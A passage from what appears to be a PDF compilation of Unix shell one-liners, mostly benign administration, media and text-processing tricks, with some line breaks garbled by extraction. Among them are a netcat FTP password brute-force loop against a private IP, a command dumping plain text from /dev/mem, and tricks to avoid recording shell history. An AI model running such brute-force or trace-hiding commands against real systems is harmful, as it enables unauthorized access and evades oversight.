TOTAL_RAM=`free | head -n 2 | tail -n 1 | awk '{ print $2 }'`; PROC_RSS=`ps axo rss,comm |
grep [h]ttpd | awk '{ TOTAL += $1 } END { print TOTAL }'`; PROC_PCT=`echo "scale=4;
( $PROC_RSS/$TOTAL_RAM ) * 100" | bc`; echo "RAM Used by HTTP: $PROC_PCT%"

# shush MOTD
touch ~/.hushlogin
# sort lines by length
perl -lne '$l{$_}=length;END{for(sort{$l{$a}<=>$l{$b}}keys %l){print}}' <
/usr/share/dict/words | tail
# Quick and dirty convert to flash
ffmpeg -i inputfile.mp4 outputfile.flv
# Verify MD5SUMS but only print failures
md5sum --check MD5SUMS | grep -v ": OK"
# generate random password
openssl rand -base64 6
# Compute running average for a column of numbers
awk '{avg += ($1 - avg) / NR;} END { print avg; }'
# Chage default shell for all users [FreeBSD]
cd /usr/home && for i in *;do chsh -s bash $i;done
# Avoids ssh timeouts by sending a keep alive message to the server every 60 seconds
echo 'ServerAliveInterval 60' >> /etc/ssh/ssh_config
# Unlock more space form your hard drive
tune2fs -m 1 /dev/sda6
# connects to a serial console
screen /dev/ttyS0 9600
# List open IPv4 connections
lsof -Pnl +M -i4
# Using mplayer to play the audio only but suppress the video
mplayer -novideo something.mpg
# Makes the permissions of file2 the same as file1
getfacl file1 | setfacl --set-file=- file2
# Show some trivia related to the current date
calendar
# ssh -A user@somehost
ssh -A user@somehost

82 / 658

All UNIX COMMANDS


# See the 10 programs the most used
sed -e "s/| /\n/g" ~/.bash_history | cut -d ' ' -f 1 | sort | uniq -c | sort -nr | head
# Twit Amarok "now playing" song
curl -u <user>:<password> -d status="Amarok, now playing: $(dcop amarok default nowPlaying)"
http://twitter.com/statuses/update.json
# batch convert Nikon RAW (nef) images to JPG
ufraw-batch --out-type=jpeg --out-path=./jpg ./*.NEF
# Replace space in filename
rename "s/ *//g" *.jpg
# Search Google from the command line
curl -A Mozilla http://www.google.com/search?q=test |html2text -width 80
# Determine if photos have been rotated to portrait orientation instead of normal landscape
orientation
for i in *; do identify $i | awk '{split($3,a,"x"); if (a[2]>a[1]) print $1;}'; done
# recurisvely md5 all files in a tree
find ./backup -type f -print0 | xargs -0 md5sum > /checksums_backup.md5
# Watch Data Usage on eth0
watch ifconfig eth0
# Lists installed kernels
ls -1 /lib/modules
# Print a row of characters across the terminal
seq -s'#' 0 $(tput cols) | tr -d '[:digit:]'

# Find out which debian package a command (executable) belongs to on debian-based distros
function whichpkg() { readlink -f "$(which $1)" | xargs --no-run-if-empty dpkg -S; }
# Display the standard deviation of a column of numbers with awk
awk '{sum+=$1; sumsq+=$1*$1} END {print sqrt(sumsq/NR - (sum/NR)**2)}' file.dat
# A fun thing to do with ram is actually open it up and take a peek. This command will show
you all the string (plain text) values in ram
strings /dev/mem|less
# Quickly CD Out Of Directories
up() { [ $(( $1 + 0 )) -gt 0 ] && cd $(eval "printf '../'%.0s {1..$1}"); }
# Get all mac address
ip link show
# Find out how old a web page is
wget -S --spider http://osswin.sourceforge.net/ 2>&1 | grep Mod
# generate 30 x 30 matrix
hexdump -v -e '"%u"' </dev/urandom|fold -60|head -n 30|sed 's/\(.\{2\}\)/\1 /g'
# Don't save commands in bash history (only for current session)
unset HISTFILE
# Find the process you are looking for minus the grepped one

83 / 658

All UNIX COMMANDS


ps -ef | grep c\\ommand
# Get the full path to a file
readlink -e /bin/ls
# Find 'foo' string inside files
find . -type f -print | xargs grep foo
# Convert unix timestamp to date
date -ud "1970-01-01 + 1234567890 seconds"
# Netcat ftp brute force
cat list|while read lines;do echo "USER admin">ftp;echo "PASS $lines">>ftp;echo
"QUIT">>ftp;nc 192.168.77.128 21 <ftp>ftp2;echo "trying: $lines";cat ftp2|grep
"230">/dev/null;[ "$?" -eq "0" ]&& echo "pass: $lines" && break;done
# Get all possible problems from any log files
grep -2 -iIr "err\|warn\|fail\|crit" /var/log/*
# Tail a log-file over the network
socat -u FILE:/var/log/syslog,ignoreeof TCP4-LISTEN:12345,fork,reuseaddr
# Unencrypted voicechat
On PC1: nc -l -p 6666 > /dev/dsp

On PC2:

cat /dev/dsp | nc <PC1's IP> 6666

# List files opened by a PID


lsof -p 15857
# Download an entire ftp directory using wget
wget -r ftp://user:pass@ftp.example.com
# split and combine different pages from different pdf's
pdftk A=chapters.pdf B=headings.pdf C=covers.pdf cat C1 B1 A1-7 B2 A8-10 C2 output book.pdf
# Unlock your KDE4.3 session remotely
qdbus org.kde.screenlocker /MainApplication quit
# Determining the excat memory usages by certain PID
pmap -d <<pid>>
# prevents replace an existing file by mistake
set -o noclobber
# Save xkcd to a pdf with captions
curl -sL xkcd.com | grep '<img [^>]*/><br/>' | sed -r 's|<img src="(.*)" title="(.*)"
alt="(.*)" /><br/>|\1\t\2\t\3|' > /tmp/a; curl -s $(cat /tmp/a | cut -f1) | convert -gravity south -draw "text 0,0 \"$(cat /tmp/a | cut -f2)\"" pdf:- > xkcd.pdf
# How to secure delete a file
shred -u -z -n 17 rubricasegreta.txt
# Record output of any command using 'tee' at backend; mainly can be used to capture the
output of ssh from client side while connecting to a server.
ssh user@server | tee logfilename

# Transforms a file to all uppercase.


tr '[:lower:]' '[:upper:]' <"$1"

84 / 658

All UNIX COMMANDS


# Remove a range of lines from a file
vi +'<start>,<end>d' +wq <filename>
# Hostname tab-completion for ssh
function autoCompleteHostname() {
local hosts;
local cur;
hosts=($(awk '{print $1}'
~/.ssh/known_hosts | cut -d, -f1));
cur=${COMP_WORDS[COMP_CWORD]};
COMPREPLY=($(compgen
-W '${hosts[@]}' -- $cur )) } complete -F autoCompleteHostname ssh
# a simple bash one-liner to create php file and call php function
php -r 'echo str_rot13 ("Hello World");'
# random xkcd comic
display "$(wget -q http://dynamic.xkcd.com/comic/random/ -O - | grep -Po '(?
<=")http://imgs.xkcd.com/comics/[^"]+(png|jpg)')"
# Shows what processes need to be restarted after system upgrade
deadlib() { lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u; }
# convert UNIX timestamp to UTC timestamp
TZ=UTC date -d @1320198157
# network interface and routing summary
nmap --iflist
# Find all directories on filesystem containing more than 99MB
du -hS / | perl -ne '(m/\d{3,}M\s+\S/ || m/G\s+\S/) && print'
# Go to the previous sibling directory in alphabetical order
cd ../"$(ls -F ..|grep '/'|grep -B1 `basename $PWD`|head -n 1)"
# umount all nfs mounts on machine
umount -a -t nfs
# Takes all file except file between !()
rm !(file_to_keep_undeleted)
# purge installed but unused linux headers, image, or modules
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\
+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | xargs sudo apt-get -y purge
# Print permanent subtitles on a video
transcode -i myvideo.avi -x mplayer="-sub myvideo.srt" -o myvideo_subtitled.avi -y xvid
# Check if a domain is available and get the answer in just one line
whois domainnametocheck.com | grep match
# find previously entered commands
<ctrl>+r
# List .log files open by a pid
lsof -p 1234 | grep -E "\.log$" | awk '{print $NF}'
# copy file to clipboard
xclip file.txt
# Securely stream (and save) a file from a remote server
ssh USER@HOST cat REMOTE_FILE.mp4 | tee LOCAL_FILE.mp4 | mplayer # Extract a remote tarball in the current directory without having to save it locally
curl http://example.com/foo.tar.gz | tar zxvf -

85 / 658

All UNIX COMMANDS


# Testing php configuration
php -i
# Random Number Between 1 And 256
od -An -N1 -tu1 /dev/random
# Press Any Key to Continue
read -sn 1 -p 'Press any key to continue...';echo
# another tweet function
tweet () { curl -u UserName -d status="$*" http://twitter.com/statuses/update.xml; }
# Print all lines between two line numbers
awk 'NR >= 3 && NR <= 6' /path/to/file

# Display any tcp connections to apache


for i in `ps aux | grep httpd | awk '{print $2}'`; do lsof -n -p $i | grep ESTABLISHED;
done;
# Octal ls
ls -l | awk '{k=0;for(i=0;i<=8;i++)k+=((substr($1,i+2,1)~/[rwx]/)*2^(8-i));if(k)printf("%0o
",k);print}'
# determine if tcp port is open
nc -zw2 www.example.com 80 && echo open
# Print all lines between two line numbers
sed -n '3,6p' /path/to/file
# Watch for when your web server returns
watch -n 15 curl -s --connect-timeout 10 http://www.google.com/
# Signals list by NUMBER and NAME
kill -l
# Change Windows Domain password from Linux
smbpasswd -r <domain-server> -U <user name>
# Create a local compressed tarball from remote host directory
ssh user@host "tar -cf - /path/to/dir" | gzip > dir.tar.gz
# Get a regular updated list of zombies
watch "ps auxw | grep [d]efunct"
# Backup all mysql databases to individual files on a remote server
for I in $(mysql -e 'show databases' -u root --password=root -s --skip-column-names); do
mysqldump -u root --password=root $I | gzip -c | ssh user@server.com "cat > /remote/
$I.sql.gz"; done
# Count the total number of files in each immediate subdirectory
find . -type f -printf "%h\n" | cut -d/ -f-2 | sort | uniq -c | sort -rn
# Record audio and video from webcam using mencoder
mencoder tv:// -tv
driver=v4l2:width=800:height=600:device=/dev/video0:fps=30:outfmt=yuy2:forceaudio:alsa:adevi
ce=hw.2,0 -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=1800 -ffourcc xvid -oac mp3lame
-lameopts cbr=128 -o output.avi

86 / 658

All UNIX COMMANDS


# Insert a colon between every two digits
sed 's/\(..\)/\1:/g;s/:$//' mac_address_list
# List all commands present on system
compgen -c | sort -u > commands && less commands
# Diff 2 file struct - Useful for branch diff and jars diff(uncompressed)
diff <(cd A; find -type f|xargs md5sum ) <(cd B; find -type f | xargs md5sum )
# Test for Weak SSL Ciphers
openssl s_client -connect [host]:[sslport] -cipher LOW
# find system's indianness
python -c "import sys;print (sys.byteorder) + ' endian'"
# launch bash without using any letters
"$(- 2>&1)";${_%%:*}
# eth-tool summary of eth# devices
for M in 0 1 2 3 ; do echo eth$M ;/sbin/ethtool eth$M | grep -E "Link|Speed" ; done
# Check if network cable is plugged in and working correctly
mii-tool eth0
# Take a screenshot of the focused window with a 4 second countdown
scrot -ucd4 -e 'eog $f'
# Generate list of words and their frequencies in a text file.
tr A-Z a-z | tr -cs a-z '\n' | sort | uniq -c
# Copy all files, including hidden files, recursively without traversing backward
cp -r * .??* /dest
# Getting information about model no. of computer
dmidecode | grep -i prod
# get a random command
ls /usr/bin | shuf -n 1

# Who needs pipes?


B <<< $(A)
# Remove all HTML tags from a file
sed "s/<[^>]\+>//g" file
# Find all active ip's in a subnet
nmap -v -sP 192.168.0.0/16 10.0.0.0/8
# Stream YouTube URL directly to mplayer.
ID=52DnUo6wJto;mplayer -fs $(echo "http://youtube.com/get_video.php?&video_id=$ID$(wget -qO
- 'http://youtube.com/watch?v='$ID | perl -ne 'print $1."&asv=" if /^.*(&t=.*?)&.*$/; print
"&fmt=".$1 if /^.*&fmt_map=(22).*$/')")
# Undo
[Ctrl+_]
# Welcome humans!

87 / 658

All UNIX COMMANDS


firefox about:robots
# Generate a random password 30 characters long
pwgen 30 1
# Regex to remove HTML-Tags from a file
sed -e :a -e 's/<[^>]*>//g;/</N;//ba' index.html
# Monitor a file with tail with timestamps added
tail -f file | while read line; do echo -n $(date -u -Ins); echo -e "\t$line"; done
# Display the history and optionally grep
h() { if [ -z "$1" ]; then history; else history | grep "$@"; fi; }
# rsync + find
rsync -avz -e ssh --files-from=<(find -mtime +30 -mtime -60) source dest
# Test file system performance
bonnie++ -n 0 -u 0 -r <physical RAM> -s <2 x physical ram> -f -b -d <mounted disck>
# Use result of the last command
`!!`
# Look for English words in /dev/urandom
head -100000 /dev/urandom | strings > temp.txt && for w in $(cat webster-dictionary.txt); do
if [ ${#w} -gt 3 ]; then grep -io $w temp.txt; fi; done
# Get MX records for a domain
dig foo.org mx +short
# Search $PATH for a command or something similar
find ${PATH//:/ } -name \*bash\*
# Clear mistyped passwords from password prompt
^u
# nagios wrapper for any script/cron etc
CMD="${1}"; LOG="${2}"; N_HOST="${3}"; N_SERVICE="${4}"; ${CMD} >${LOG} 2>&1; EXITSTAT=${?};
OUTPUT="$(tail -1 ${LOG})";echo "${HOSTNAME}:${N_SERVICE}:${EXITSTAT}:${OUTPUT}" | send_nsca
-H ${N_HOST} -d : -c /etc/nagios/send_nsca.cfg >/dev/null 2>&1
# create directory and set owner/group/mode in one shot
install -o user -g group -m 0700 -d /path/to/newdir
# Scan for nearby Bluetooth devices.
hcitool scan
# Save a file you edited in vim without the needed permissions
command W :execute ':silent w !sudo tee % > /dev/null' | :edit!
# Encrypt and password-protect execution of any bash script
echo "eval \"\$(dd if=\$0 bs=1 skip=XX 2>/dev/null|gpg -d 2>/dev/null)\"; exit" >
script.secure; sed -i s:XX:$(stat -c%s script.secure): script.secure; gpg -c < script.bash
>> script.secure; chmod +x script.secure
# Quickly add user accounts to the system and force a password change on first login
for name in larry moe schemp; do useradd $name; echo 'password' | passwd --stdin $name;
chage -d 0 $name; done
# aptitude easter eggs

88 / 658

All UNIX COMMANDS


aptitude moo
# mplayer webcam window for screencasts
mplayer -cache 128 -tv driver=v4l2:width=176:height=177 -vo xv tv:// -noborder -geometry
"95%:93%" -ontop

# resume download using curl


curl -C - -o partially_downloaded_file 'www.example.com/path/to/the/file'
# Trigger a command each time a file is created in a directory (inotify)
inotifywait -mrq -e CREATE --format %w%f /path/to/dir | while read FILE; do chmod g=u
"$FILE"; done
# what model of computer I'm using?
sudo hal-get-property --udi /org/freedesktop/Hal/devices/computer --key
'system.hardware.product'
# Using NMAP to check if a port is open or close
nmap -oG - -T4 -p22 -v 192.168.0.254 | grep ssh
# List the size (in human readable form) of all sub folders from the current location
du -sh */
# Convert text to uppercase
upper() { echo ${@^^}; }
# do a full file listing of every file found with locate
locate searchstring | xargs ls -l
# Unix commandline history substitution like ^foo^bar BUT for multiple replacements
!!:gs/Original/New/
# Look for English words in /dev/urandom
head -100000 /dev/urandom | strings|tr '[A-Z]' '[a-z]'|sort >temp.txt && wget -q
http://www.mavi1.org/web_security/wordlists/webster-dictionary.txt -O-|tr '[A-Z]' '[a-z]'|
sort >temp2.txt&&comm -12 temp.txt temp2.txt
# Download from Rapidshare Premium using wget - Part 2
wget -c -t 1 --load-cookies ~/.cookies/rapidshare <URL>
# Change string in many files at once and more.
find . -type f -exec grep -l XXX {} \;|tee /tmp/fileschanged|xargs perl -pi.bak -e
's/XXX/YYY/g'
# See non printable caracters like tabulations, CRLF, LF line terminators ( colored )
od -c <FILE> | grep --color '\\.'
# cut audio file
ffmpeg -ss 00:00:30 -t 00:02:58 -i input.mp3 -acodec copy ouput.mp3
# a find and replace within text-based files, to locate and rewrite text en mass.
find . -name "*.txt" | xargs perl -pi -e 's/old/new/g'
# quickly backup or copy a file with bash
cp -bfS.bak filename filename
# Convert files from DOS line endings to UNIX line endings
fromdos *

89 / 658

All UNIX COMMANDS


# Generate random passwords (from which you may select "memorable" ones)
pwgen
# Let your computer lull you to sleep
echo {1..199}" sheep," | espeak -v english -s 80
# Repeatedly purge orphaned packages on Debian-like Linuxes
while [ $(deborphan | wc -l) -gt 0 ]; do dpkg --purge $(deborphan); done
# Sort specific lines while editing within vi
:33,61 !sort
# tail, with specific pattern colored
tail -F file | egrep --color 'pattern|$'
# Releases Firefox of a still running message
rm ~/.mozilla/firefox/<profile_dir>/.parentlock
# Complete TCP Handshake on a given host-port
nc -zvw 1 host port
# Enable automatic typo correction for directory names
shopt -s cdspell
# Check which files are opened by Firefox then sort by largest size.
FFPID=$(pidof firefox-bin) && lsof -p $FFPID | awk '{ if($7>0) print ($7/1024/1024)" MB -"$9; }' | grep ".mozilla" | sort -rn

# bash pause command


read -sn1 -p "Press any key to continue..."; echo
# Generate a random left-hand password
</dev/urandom tr -dc '12345!@#$%qwertQWERTasdfgASDFGzxcvbZXCVB' | head -c8; echo ""
# Smart renaming
ls | sed -n -r 's/banana_(.*)_([0-9]*).asc/mv & banana_\2_\1.asc/gp' | sh
# Matrix Style
LC_ALL=C tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock |
GREP_COLOR="1;32" grep --color "[^ ]"
# Delete all but latest file in a directory
ls -pt1 | sed '/.*\//d' | sed 1d | xargs rm
# insert ip range using vim
:for i in range(1,255) | .put='192.168.0.'.i | endfor
# Query Wikipedia via console over DNS
mwiki () { blah=`echo $@ | sed -e 's/ /_/g'`; dig +short txt $blah.wp.dg.cx; }
# Preserve colors when piping tree to less
tree -C | less -R
# Transfer large files/directories with no overhead over the network
ssh user@host "cd targetdir; tar cfp - *" | dd of=file.tar
# Short Information about loaded kernel modules

90 / 658

All UNIX COMMANDS


modinfo $(cut -d' ' -f1 /proc/modules) | sed '/^dep/s/$/\n/; /^file\|^desc\|^dep/!d'
# Upload a video to youtube
google youtube post --title "My\ Video" --category Education ~/myvideo.avi
# Print a list of installed Perl modules
perl -MExtUtils::Installed -e '$inst = ExtUtils::Installed->new(); @modules = $inst>modules(); print join("\n", @modules);'
# Display ncurses based network monitor
nload -u m eth0
# simulated text generator
tr -dc a-z0-9
</dev/urandom

| tr 0-8 \ | tr 9 \\n |

sed 's/^[ \t]*//'

| fmt -u

# Summarize Apache Extended server-status to show longest running requests


links --dump 1 http://localhost/server-status|grep ^[0-9]|awk 'BEGIN {print "Seconds, PID,
State, IP, Domain, TYPE, URL\n--"} $4 !~ /[GCRK_.]/ {print $6, $2, $4, $11, $12, $13 " "
$14|"sort -n"}'
# Show a curses based menu selector
whiptail --checklist "Simple checkbox menu" 11 35 5 tag item status repeat tags 1
# Stop All Wine Apps and Processes
wineserver -k
# Remove color codes (special characters) with sed
sed -r "s:\x1B\[[0-9;]*[mK]::g"'
# Print ASCII Character Chart
for i in {1..256};do p=" $i";echo -e "${p: -3} \\0$(($i/64*100+$i%64/8*10+$i%8))";done|cat
-t|column -c120
# Copy your SSH public key on a remote machine for passwordless login.
cat ~/.ssh/*.pub | ssh user@remote-system 'umask 077; cat >>.ssh/authorized_keys'
# Runs a command without hangups.
nohup <command> &
# Renaming a file without overwiting an existing file name
mv -b old_file_name new_and_already_existent_file_name
# Plot frequency distribution of words from files on a terminal.
cat *.c | { printf "se te du\nplot '-' t '' w dots\n"; tr '[[:upper:]]' '[[:lower:]]' | tr
-s [[:punct:][:space:]] '\n' | sort | uniq -c | sort -nr | head -n 100 | awk '{print
$1}END{print "e"}'; } | gnuplot
# Temporarily suspend and unsuspend a foreground job
^Z <...> %
# Get Futurama quotations from slashdot.org servers
echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | nc slashdot.org 80 | egrep "Bender|Fry"
| sed "s/X-//"

# Fix "broken" ID3 tags in the current directory and subdirectories


find -iname '*mp3' -exec mid3iconv {} \;
# ascii digital clock

91 / 658

All UNIX COMMANDS


watch -tn1 'date +%T | xargs banner'
# Convert file type to unix utf-8
ex some_file "+set ff=unix fileencoding=utf-8" "+x"
# create disk copy over the net without temp files
SOURCE: dd if=/dev/sda bs=16065b | netcat ip-target 1234 TARGET: netcat -l -p 1234 | dd
of=/dev/mapper/laptop bs=16065b STATS on target: watch -n60 -- kill -USR1 $(pgrep dd)
# take execution time of several commands
time { <command1> ; <command2> ; <command...> ; }
# When was your OS installed?
ls -lct /etc/ | tail -1 | awk '{print $6, $7, $8}'
# Remove invalid key from the known_hosts file for the IP address of a host
ssh-keygen -R `host hostname | cut -d " " -f 4`
# Google Spell Checker
spellcheck(){ typeset y=$@;curl -sd "<spellrequest><text>$y</text></spellrequest>"
https://www.google.com/tbproxy/spell|sed -n '/s="[0-9]"/{s/<[^>]*>/ /g;s/\t/ /g;s/ *\
(.*\)/Suggestions: \1\n/g;p}'|tee >(grep -Eq '.*'||echo -e "OK");}
# Restore mysql database uncompressing on the fly.
zcat database.sql.gz | mysql -uroot -p'passwd' database
# Runs a command without hangups.
screen -d -m command &
# Determine an image's dimensions
identify -format "%wx%h" /path/to/image.jpg
# move up through directories faster (set in your /etc/profile or .bash_profile)
function up { cd $(eval printf '../'%.0s {1..$1}) && pwd; }
# Skip over .svn directories when using the
find . -name .svn -prune -o -print
# temporarily override alias of any command
\ls
# Compress excutable files in place.
gzexe name ...
# Upgrade all perl modules via CPAN
perl -MCPAN -e 'CPAN::Shell->install(CPAN::Shell->r)'
# Lock the hardware eject button of the cdrom
eject -i 1
# ionice limits process I/O, to keep it from swamping the system (Linux)
ionice -c3 find /
# Sort files by size
ls -l | sort -nk5
# Simplest way to get size (in bytes) of a file
du -b filename
# do 'foo' until it exits successfully, pausing in between crashes

92 / 658

All UNIX COMMANDS


until foo some args; do echo "crashed: $?

respawning..." >&2; sleep 10; done

# Get the total length of all videos in the current dir in H:m:s
mplayer -vo dummy -ao dummy -identify * 2>&1 | grep ID_LENGTH | sed 's/.*=\([0-9]*\)/\1/' |
xargs echo | sed 's/ /+/g' | bc | awk 'S=$1; {printf "%dh:%dm:%ds\n",S/(60*60),S
%(60*60)/60,S%60}'
# Replace duplicate files by hardlinks
fdupes -r -1 path | while read line; do j="0"; for file in ${line[*]}; do if [ "$j" ==
"0" ]; then j="1"; else ln -f ${line// .*/} $file; fi; done; done
# Graphically show percent of mount space used
for m in `df -P | awk -F ' ' '{print $NF}' | sed -e "1d"`;do n=`df -P | grep "$m$" | awk -F
' ' '{print $5}' | cut -d% -f1`;i=0;if [[ $n =~ ^-?[0-9]+$ ]];then printf '%-25s' $m;while [
$i -lt $n ];do echo -n '=';let "i=$i+1";done;echo " $n";fi;done
# Dump HTTP header using wget
wget --server-response --spider http://www.example.com/

# String to binary
perl -nle 'printf "%0*v8b\n"," ",$_;'
# Clone IDE Hard Disk
sudo dd if=/dev/hda1 of=/dev/hdb2
# scan folder to check syntax error in php files
find . -name "*.php" -exec php -l {} \;
# use vi key bindings at the command line
set -o vi
# lotto generator
shuf -i 1-49 | head -n6 | sort -n| xargs
# Rotate a single page PDF by 180 degrees
pdftk in.pdf cat 1S output out.pdf
# Shows cpu load in percent
sed -e 's/ .*//' -e 's/\.//' -e 's/^0*//' /proc/loadavg
# Show bash's function definitions you defined in .bash_profile or .bashrc
declare -f [ function_name ]
# Type a random string into a X11 window
sleep 3 && xdotool type --delay 0ms texthere
# PDF simplex to duplex merge
pdftk A=odd.pdf B=even.pdf shuffle A1-end Bend-1S output duplex.pdf
# cat large file to clipboard with speed-o-meter
pv large.xml | xclip
# urldecoding with one pure BASH builtin
VAR="%23%21%2fbin%2fbash" ; printf -v VAR "%b" "${VAR//\%/\x}" ; echo $VAR
# network usage per process
sudo nethogs eth0

93 / 658

All UNIX COMMANDS


# Make a thumbnail image of first page of a PDF.
convert -resize 200 -sharpen 40 some_file.pdf[0] some_file.jpg
# Get yesterday's date or a previous time
date -d '1 day ago'; date -d '11 hour ago'; date -d '2 hour ago - 3 minute'; date -d '16
hour'
# rapidshare download script in 200 characters
u=`curl -d 'dl.start=Free' $(curl $1|perl -wpi -e 's/^.*"(http:\/\/rs.*)" method.*$/$1/'|
egrep '^http'|head -n1)|grep "Level(3) \#2"|perl -wpi -e 's/^.*(http:\/\/rs[^\\\\]*).*$/
$1/'`;sleep 60;wget $u
# Print a row of 50 hyphens
seq -s" " -50 -1 | tr -dc # Get a list of all TODO/FIXME tasks left to be done in your project
alias tasks='grep --exclude-dir=.git -rEI "TODO|FIXME" . 2>/dev/null'
# Replace Solaris vmstat numbers with human readable format
vmstat 1 10 | /usr/xpg4/bin/awk -f ph-vmstat.awk
# Show top SVN committers for the last month
svn log -r {`date +"%Y-%m-%d" -d "1 month ago"`}:HEAD|grep '^r[0-9]' |cut -d\| -f2|sort|uniq
-c
# Auto Rotate Cube (compiz)
wmctrl -o 2560,0 ;sleep 2 ; echo "FIRE 001" | osd_cat -o 470 -s 8 -c red -d 10 -f -*bitstream\ vera\ sans-*-*-*--250-*-*-*-*-*-*-* ; sleep 1; wmctrl -o 0,0
# Do a command but skip recording it in the bash command history
_cd ~/nsfw; mplayer midget_donkey.mpeg
# Know which modules are loaded on an Apache server
apache2 -t -D DUMP_MODULES
# Changes standard mysql client output to 'less'.
echo -e "[mysql]\npager=less -niSFX" >> ~/.my.cnf
# Prepare a commandlinefu command.
goclf() { type "$1" | sed '1d' | tr -d "\n" | tr -s '[:space:]'; echo }

# Monitor logs in Linux using Tail


find /var/log -type f -exec file {} \; | grep 'text' | cut -d' ' -f1 | sed -e's/:$//g' |
grep -v '[0-9]$' | xargs tail -f
# Expand shortened URLs
expandurl() { curl -sIL $1 | grep ^Location; }
# List files above a given threshold
find . -type f -size +25000k -exec ls -lh {} \; | awk '{ print $8 ": " $5 }'
# concat multiple videos into one (and add an audio track)
cat frame/*.mpeg | ffmpeg -i $ID.mp3 -i - -f dvd -y track/$ID.mpg 2>/dev/null
# tail: watch a filelog
tail -n 50 -f /var/log/apache2/access_log /var/log/apache2/error_log
# Simultaneously running different Firefox profiles

94 / 658

All UNIX COMMANDS


firefox -P <profile_name> -no-remote
# Display all readline binding that use CTRL
bind -p | grep -F "\C"
# Hiding password while reading it from keyboard
save_state=$(stty -g);echo -n "Password: ";stty -echo;read password;stty "$save_state";echo
"";echo "You inserted $password as password"
# convert a web page into a pdf
touch $2;firefox -print $1 -printmode PDF -printfile $2
# Have your sound card call out elapsed time.
for ((x=0;;x+=5)); do sleep 5; espeak $x & done
# Show a Command's Short Description
whatis [command-name]
# Get line number of all matches in a file
awk '/match/{print NR}' file
# Backup all MySQL Databases to individual files
mysql -e 'show databases' | sed -n '2,$p' | xargs -I DB 'mysqldump DB > DB.sql'
# phpinfo from the command line
echo "<?php phpinfo(); ?>" | php > phpinfo.txt
# Create executable, automountable filesystem in a file, with password!
dd if=/dev/zero of=T bs=1024 count=10240;mkfs.ext3 -q T;E=$(echo 'read O;mount -o
loop,offset=$O F /mnt;'|base64|tr -d '\n');echo "E=\$(echo $E|base64 -d);eval \
$E;exit;">F;cat <(dd if=/dev/zero bs=$(echo 9191-$(stat -c%s F)|bc) count=1) <(cat T;rm
T)>>F
# Output as many input
echo 'foo' | tee >(wc -c) >(grep o) >(grep f)
# Google URL shortener
curl -s -d'&url=URL' http://goo.gl/api/url | sed -e 's/{"short_url":"//' -e
's/","added_to_history":false}/\n/'
# Print IP of any interface. Useful for scripts.
ip route show dev ppp0 | awk '{ print $7 }'
# Synchronize both your system clock and hardware clock and calculate/adjust time drift
ntpdate pool.ntp.org && hwclock --systohc && hwclock --adjust
# Show GCC-generated optimization commands when using the "-march=native" or "-mtune=native"
switches for compilation.
cc -march=native -E -v - </dev/null 2>&1 | grep cc1
# use wget to check if a remote file exists
wget --spider -v http://www.server.com/path/file.ext
# Create a single-use TCP proxy with debug output to stderr
socat -v tcp4-l:<port> tcp4:<host>:<port>
# Retrieve the size of a file on a server
wget --spider $URL 2>&1 | awk '/Length/ {print $2}'
# Show line numbers in a text file

95 / 658

All UNIX COMMANDS


cat -n file.txt
# Convert a script to one-liner
(sed 's/#.*//g'|sed '/^ *$/d'|tr '\n' ';'|xargs echo) < script.sh

# create a .avi with many .jpg


mencoder "mf://*.jpg" -mf fps=8 -o ./video.avi -ovc lavc
# run a command from within vi without exiting
:! <bash_command>
# Convert .flv to .3gp
ffmpeg -i file.flv -r 15 -b 128k -s qcif -acodec amr_nb -ar 8000 -ac 1 -ab 13 -f 3gp -y
out.3gp
# Have subversion ignore a file pattern in a directory
svn propset svn:ignore "*txt" log/
# Install a LAMP server in a Debian based distribution
sudo tasksel install lamp-server
# Setup an ssh tunnel
ssf -f -N -L 4321:home.network.com:25 user@home.network.com
# pretend to be busy in office to enjoy a cup of coffee
export GREP_COLOR='1;32'; cat /dev/urandom | hexdump -C | grep --color=auto "ca fe"
# Sort your music
for file in *.mp3;do mkdir -p "$(mp3info -p "%a/%l" "$file")" && ln -s "$file" "$(mp3info -p
"%a/%l/%t.mp3" "$file")";done
# Which fonts are installed?
fc-list | cut -d ':' -f 1 | sort -u
# Find the location of the currently loaded php.ini file
php -i | grep php.ini
# Highlight network TX, RX information change
watch -n 2 -d '/sbin/ifconfig eth0'
# Kill all processes beloging to a single user.
kill -9 `ps -u <username> -o "pid="`
# Show a notify popup in Gnome that expires in specified time and does not leave an icon in
notifications tray
notify-send --hint=int:transient:1 -u low -t 100 "Command" "Finished"
# Take screenshots with imagemagick
import -window root -quality 98 screenshot.png
# Using numsum to sum a column of numbers.
numsum count.txt
# Capture video of a linux desktop
ffmpeg -f x11grab -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -r 25 -i :0.0
-sameq /tmp/out.mpg > /root/howto/capture_screen_video_ffmpeg
# Waste time for about 3 minutes

96 / 658

All UNIX COMMANDS


for i in {1..20}; do fortune -w ; sleep 3; clear; done
# What is my public IP-address?
dig @208.67.222.222 myip.opendns.com
# set your ssd disk as a non-rotating medium
sudo echo 0 > /sys/block/sdb/queue/rotational
# Set a Reminder for yourself via the notification system
sleep 6s && notify-send -t 10000 -u critical "remember to think" &
# gag version of current date
ddate
# dd with progress bar and statistics to gzipped image
sudo dd if=/dev/sdc bs=4096 | pv -s `sudo mount /dev/sdc /media/sdc && du -sb /media/sdc/ |
awk '{print $1}' && sudo umount /media/sdc`| sudo dd bs=4096 of=~/USB_BLACK_BACKUP.IMG
# Follow the flow of a log file
tailf file.log
# Do some Perl learning...
podwebserver& sleep 2; elinks 'http://127.0.0.1:8020'
# Find today created files
find directory/ -mtime 0 -type f

# Use vim automation to create a colorized html file


file=<filename>;vim ${file} -e -s -c 'runtime! syntax/syntax.vim' -c 'runtime!
syntax/2html.vim' -c "w ${file}.html" -c 'q!' -c 'q!' > /dev/null
# Share your terminal session (remotely or whatever)
screen -x
# Always tail/edit/grep the latest file in a directory of timestamped files
tail -f /path/to/timestamped/files/file-*(om[1])
# Indent a one-liner.
type <function name>
# Remove EXIF data from images with progress
i=0; f=$(find . -type f -iregex ".*jpg");c=$(echo $f|sed "s/ /\n/g"| wc -l);for x in $f;do
i=$(($i + 1));echo "$x $i of $c"; mogrify -strip $x;done
# Match a URL
